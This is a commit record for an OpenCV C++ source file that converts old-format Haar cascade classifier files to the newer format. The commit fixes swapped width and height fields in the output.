<commit_before>/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2013, Itseez Inc, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of Intel Corporation may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ /* Haar features calculation */ #include "precomp.hpp" #include <stdio.h> namespace cv { /* field names */ #define ICV_HAAR_SIZE_NAME "size" #define ICV_HAAR_STAGES_NAME "stages" #define ICV_HAAR_TREES_NAME "trees" #define ICV_HAAR_FEATURE_NAME "feature" #define ICV_HAAR_RECTS_NAME "rects" #define ICV_HAAR_TILTED_NAME "tilted" #define ICV_HAAR_THRESHOLD_NAME "threshold" #define ICV_HAAR_LEFT_NODE_NAME "left_node" #define ICV_HAAR_LEFT_VAL_NAME "left_val" #define ICV_HAAR_RIGHT_NODE_NAME "right_node" #define ICV_HAAR_RIGHT_VAL_NAME "right_val" #define ICV_HAAR_STAGE_THRESHOLD_NAME "stage_threshold" #define ICV_HAAR_PARENT_NAME "parent" #define ICV_HAAR_NEXT_NAME "next" namespace haar_cvt { struct HaarFeature { enum { RECT_NUM = 3 }; HaarFeature() { tilted = false; for( int i = 0; i < RECT_NUM; i++ ) { rect[i].r = Rect(0,0,0,0); rect[i].weight = 0.f; } } bool tilted; struct { Rect r; float weight; } rect[RECT_NUM]; }; struct HaarClassifierNode { HaarClassifierNode() { f = left = right = 0; threshold = 0.f; } int f, left, right; float threshold; }; struct HaarClassifier { std::vector<HaarClassifierNode> nodes; std::vector<float> leaves; }; struct HaarStageClassifier { double threshold; std::vector<HaarClassifier> weaks; }; static bool convert(const String& oldcascade, const String& newcascade) { FileStorage oldfs(oldcascade, FileStorage::READ); if( !oldfs.isOpened() ) return false; FileNode oldroot = oldfs.getFirstTopLevelNode(); FileNode sznode = oldroot[ICV_HAAR_SIZE_NAME]; if( sznode.empty() ) return false; Size cascadesize; cascadesize.width = (int)sznode[0]; cascadesize.height = (int)sznode[1]; std::vector<HaarFeature> features; int i, j, k, n; FileNode stages_seq = oldroot[ICV_HAAR_STAGES_NAME]; int nstages = (int)stages_seq.size(); std::vector<HaarStageClassifier> stages(nstages); for( i = 0; i < nstages; i++ ) { FileNode stagenode = stages_seq[i]; HaarStageClassifier& stage = stages[i]; stage.threshold = (double)stagenode[ICV_HAAR_STAGE_THRESHOLD_NAME]; FileNode weaks_seq = stagenode[ICV_HAAR_TREES_NAME]; int nweaks = (int)weaks_seq.size(); stage.weaks.resize(nweaks); for( j = 0; j < nweaks; j++ ) { HaarClassifier& weak = stage.weaks[j]; FileNode weaknode = weaks_seq[j]; int nnodes = (int)weaknode.size(); for( n = 0; n < nnodes; n++ ) { FileNode nnode = weaknode[n]; FileNode fnode = nnode[ICV_HAAR_FEATURE_NAME]; HaarFeature f; HaarClassifierNode node; node.f = (int)features.size(); f.tilted = (int)fnode[ICV_HAAR_TILTED_NAME] != 0; FileNode rects_seq = fnode[ICV_HAAR_RECTS_NAME]; int nrects = (int)rects_seq.size(); for( k = 0; k < nrects; k++ ) { FileNode rnode = rects_seq[k]; f.rect[k].r.x = (int)rnode[0]; f.rect[k].r.y = (int)rnode[1]; f.rect[k].r.width = (int)rnode[2]; f.rect[k].r.height = (int)rnode[3]; f.rect[k].weight = (float)rnode[4]; } features.push_back(f); node.threshold = nnode[ICV_HAAR_THRESHOLD_NAME]; FileNode leftValNode = nnode[ICV_HAAR_LEFT_VAL_NAME]; if( !leftValNode.empty() ) { node.left = -(int)weak.leaves.size(); weak.leaves.push_back((float)leftValNode); } else { node.left = (int)nnode[ICV_HAAR_LEFT_NODE_NAME]; } FileNode rightValNode = nnode[ICV_HAAR_RIGHT_VAL_NAME]; if( !rightValNode.empty() ) { node.right = -(int)weak.leaves.size(); weak.leaves.push_back((float)rightValNode); } else { node.right = (int)nnode[ICV_HAAR_RIGHT_NODE_NAME]; } weak.nodes.push_back(node); } } } FileStorage newfs(newcascade, FileStorage::WRITE); if( !newfs.isOpened() ) return false; int maxWeakCount = 0, nfeatures = (int)features.size(); for( i = 0; i < nstages; i++ ) maxWeakCount = std::max(maxWeakCount, (int)stages[i].weaks.size()); newfs << "cascade" << "{:opencv-cascade-classifier" << "stageType" << "BOOST" << "featureType" << "HAAR" << "height" << cascadesize.width << "width" << cascadesize.height << "stageParams" << "{" << "maxWeakCount" << (int)maxWeakCount << "}" << "featureParams" << "{" << "maxCatCount" << 0 << "}" << "stageNum" << (int)nstages << "stages" << "["; for( i = 0; i < nstages; i++ ) { int nweaks = (int)stages[i].weaks.size(); newfs << "{" << "maxWeakCount" << (int)nweaks << "stageThreshold" << stages[i].threshold << "weakClassifiers" << "["; for( j = 0; j < nweaks; j++ ) { const HaarClassifier& c = stages[i].weaks[j]; newfs << "{" << "internalNodes" << "["; int nnodes = (int)c.nodes.size(), nleaves = (int)c.leaves.size(); for( k = 0; k < nnodes; k++ ) newfs << c.nodes[k].left << c.nodes[k].right << c.nodes[k].f << c.nodes[k].threshold; newfs << "]" << "leafValues" << "["; for( k = 0; k < nleaves; k++ ) newfs << c.leaves[k]; newfs << "]" << "}"; } newfs << "]" << "}"; } newfs << "]" << "features" << "["; for( i = 0; i < nfeatures; i++ ) { const HaarFeature& f = features[i]; newfs << "{" << "rects" << "["; for( j = 0; j < HaarFeature::RECT_NUM; j++ ) { if( j >= 2 && fabs(f.rect[j].weight) < FLT_EPSILON ) break; newfs << "[" << f.rect[j].r.x << f.rect[j].r.y << f.rect[j].r.width << f.rect[j].r.height << f.rect[j].weight << "]"; } newfs << "]"; if( f.tilted ) newfs << "tilted" << 1; newfs << "}"; } newfs << "]" << "}"; return true; } } bool CascadeClassifier::convert(const String& oldcascade, const String& newcascade) { bool ok = haar_cvt::convert(oldcascade, newcascade); if( !ok && newcascade.size() > 0 ) remove(newcascade.c_str()); return ok; } } <commit_msg>Fixed cascadedetect convert from old cascade to new<commit_after>/*M/////////////////////////////////////////////////////////////////////////////////////// // // IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. // // By downloading, copying, installing or using the software you agree to this license. // If you do not agree to this license, do not download, install, // copy or use the software. // // // License Agreement // For Open Source Computer Vision Library // // Copyright (C) 2013, Itseez Inc, all rights reserved. // Third party copyrights are property of their respective owners. // // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistribution's of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistribution's in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * The name of Intel Corporation may not be used to endorse or promote products // derived from this software without specific prior written permission. // // This software is provided by the copyright holders and contributors "as is" and // any express or implied warranties, including, but not limited to, the implied // warranties of merchantability and fitness for a particular purpose are disclaimed. // In no event shall the Intel Corporation or contributors be liable for any direct, // indirect, incidental, special, exemplary, or consequential damages // (including, but not limited to, procurement of substitute goods or services; // loss of use, data, or profits; or business interruption) however caused // and on any theory of liability, whether in contract, strict liability, // or tort (including negligence or otherwise) arising in any way out of // the use of this software, even if advised of the possibility of such damage. // //M*/ /* Haar features calculation */ #include "precomp.hpp" #include <stdio.h> namespace cv { /* field names */ #define ICV_HAAR_SIZE_NAME "size" #define ICV_HAAR_STAGES_NAME "stages" #define ICV_HAAR_TREES_NAME "trees" #define ICV_HAAR_FEATURE_NAME "feature" #define ICV_HAAR_RECTS_NAME "rects" #define ICV_HAAR_TILTED_NAME "tilted" #define ICV_HAAR_THRESHOLD_NAME "threshold" #define ICV_HAAR_LEFT_NODE_NAME "left_node" #define ICV_HAAR_LEFT_VAL_NAME "left_val" #define ICV_HAAR_RIGHT_NODE_NAME "right_node" #define ICV_HAAR_RIGHT_VAL_NAME "right_val" #define ICV_HAAR_STAGE_THRESHOLD_NAME "stage_threshold" #define ICV_HAAR_PARENT_NAME "parent" #define ICV_HAAR_NEXT_NAME "next" namespace haar_cvt { struct HaarFeature { enum { RECT_NUM = 3 }; HaarFeature() { tilted = false; for( int i = 0; i < RECT_NUM; i++ ) { rect[i].r = Rect(0,0,0,0); rect[i].weight = 0.f; } } bool tilted; struct { Rect r; float weight; } rect[RECT_NUM]; }; struct HaarClassifierNode { HaarClassifierNode() { f = left = right = 0; threshold = 0.f; } int f, left, right; float threshold; }; struct HaarClassifier { std::vector<HaarClassifierNode> nodes; std::vector<float> leaves; }; struct HaarStageClassifier { double threshold; std::vector<HaarClassifier> weaks; }; static bool convert(const String& oldcascade, const String& newcascade) { FileStorage oldfs(oldcascade, FileStorage::READ); if( !oldfs.isOpened() ) return false; FileNode oldroot = oldfs.getFirstTopLevelNode(); FileNode sznode = oldroot[ICV_HAAR_SIZE_NAME]; if( sznode.empty() ) return false; Size cascadesize; cascadesize.width = (int)sznode[0]; cascadesize.height = (int)sznode[1]; std::vector<HaarFeature> features; int i, j, k, n; FileNode stages_seq = oldroot[ICV_HAAR_STAGES_NAME]; int nstages = (int)stages_seq.size(); std::vector<HaarStageClassifier> stages(nstages); for( i = 0; i < nstages; i++ ) { FileNode stagenode = stages_seq[i]; HaarStageClassifier& stage = stages[i]; stage.threshold = (double)stagenode[ICV_HAAR_STAGE_THRESHOLD_NAME]; FileNode weaks_seq = stagenode[ICV_HAAR_TREES_NAME]; int nweaks = (int)weaks_seq.size(); stage.weaks.resize(nweaks); for( j = 0; j < nweaks; j++ ) { HaarClassifier& weak = stage.weaks[j]; FileNode weaknode = weaks_seq[j]; int nnodes = (int)weaknode.size(); for( n = 0; n < nnodes; n++ ) { FileNode nnode = weaknode[n]; FileNode fnode = nnode[ICV_HAAR_FEATURE_NAME]; HaarFeature f; HaarClassifierNode node; node.f = (int)features.size(); f.tilted = (int)fnode[ICV_HAAR_TILTED_NAME] != 0; FileNode rects_seq = fnode[ICV_HAAR_RECTS_NAME]; int nrects = (int)rects_seq.size(); for( k = 0; k < nrects; k++ ) { FileNode rnode = rects_seq[k]; f.rect[k].r.x = (int)rnode[0]; f.rect[k].r.y = (int)rnode[1]; f.rect[k].r.width = (int)rnode[2]; f.rect[k].r.height = (int)rnode[3]; f.rect[k].weight = (float)rnode[4]; } features.push_back(f); node.threshold = nnode[ICV_HAAR_THRESHOLD_NAME]; FileNode leftValNode = nnode[ICV_HAAR_LEFT_VAL_NAME]; if( !leftValNode.empty() ) { node.left = -(int)weak.leaves.size(); weak.leaves.push_back((float)leftValNode); } else { node.left = (int)nnode[ICV_HAAR_LEFT_NODE_NAME]; } FileNode rightValNode = nnode[ICV_HAAR_RIGHT_VAL_NAME]; if( !rightValNode.empty() ) { node.right = -(int)weak.leaves.size(); weak.leaves.push_back((float)rightValNode); } else { node.right = (int)nnode[ICV_HAAR_RIGHT_NODE_NAME]; } weak.nodes.push_back(node); } } } FileStorage newfs(newcascade, FileStorage::WRITE); if( !newfs.isOpened() ) return false; int maxWeakCount = 0, nfeatures = (int)features.size(); for( i = 0; i < nstages; i++ ) maxWeakCount = std::max(maxWeakCount, (int)stages[i].weaks.size()); newfs << "cascade" << "{:opencv-cascade-classifier" << "stageType" << "BOOST" << "featureType" << "HAAR" << "width" << cascadesize.width << "height" << cascadesize.height << "stageParams" << "{" << "maxWeakCount" << (int)maxWeakCount << "}" << "featureParams" << "{" << "maxCatCount" << 0 << "}" << "stageNum" << (int)nstages << "stages" << "["; for( i = 0; i < nstages; i++ ) { int nweaks = (int)stages[i].weaks.size(); newfs << "{" << "maxWeakCount" << (int)nweaks << "stageThreshold" << stages[i].threshold << "weakClassifiers" << "["; for( j = 0; j < nweaks; j++ ) { const HaarClassifier& c = stages[i].weaks[j]; newfs << "{" << "internalNodes" << "["; int nnodes = (int)c.nodes.size(), nleaves = (int)c.leaves.size(); for( k = 0; k < nnodes; k++ ) newfs << c.nodes[k].left << c.nodes[k].right << c.nodes[k].f << c.nodes[k].threshold; newfs << "]" << "leafValues" << "["; for( k = 0; k < nleaves; k++ ) newfs << c.leaves[k]; newfs << "]" << "}"; } newfs << "]" << "}"; } newfs << "]" << "features" << "["; for( i = 0; i < nfeatures; i++ ) { const HaarFeature& f = features[i]; newfs << "{" << "rects" << "["; for( j = 0; j < HaarFeature::RECT_NUM; j++ ) { if( j >= 2 && fabs(f.rect[j].weight) < FLT_EPSILON ) break; newfs << "[" << f.rect[j].r.x << f.rect[j].r.y << f.rect[j].r.width << f.rect[j].r.height << f.rect[j].weight << "]"; } newfs << "]"; if( f.tilted ) newfs << "tilted" << 1; newfs << "}"; } newfs << "]" << "}"; return true; } } bool CascadeClassifier::convert(const String& oldcascade, const String& newcascade) { bool ok = haar_cvt::convert(oldcascade, newcascade); if( !ok && newcascade.size() > 0 ) remove(newcascade.c_str()); return ok; } } <|endoftext|>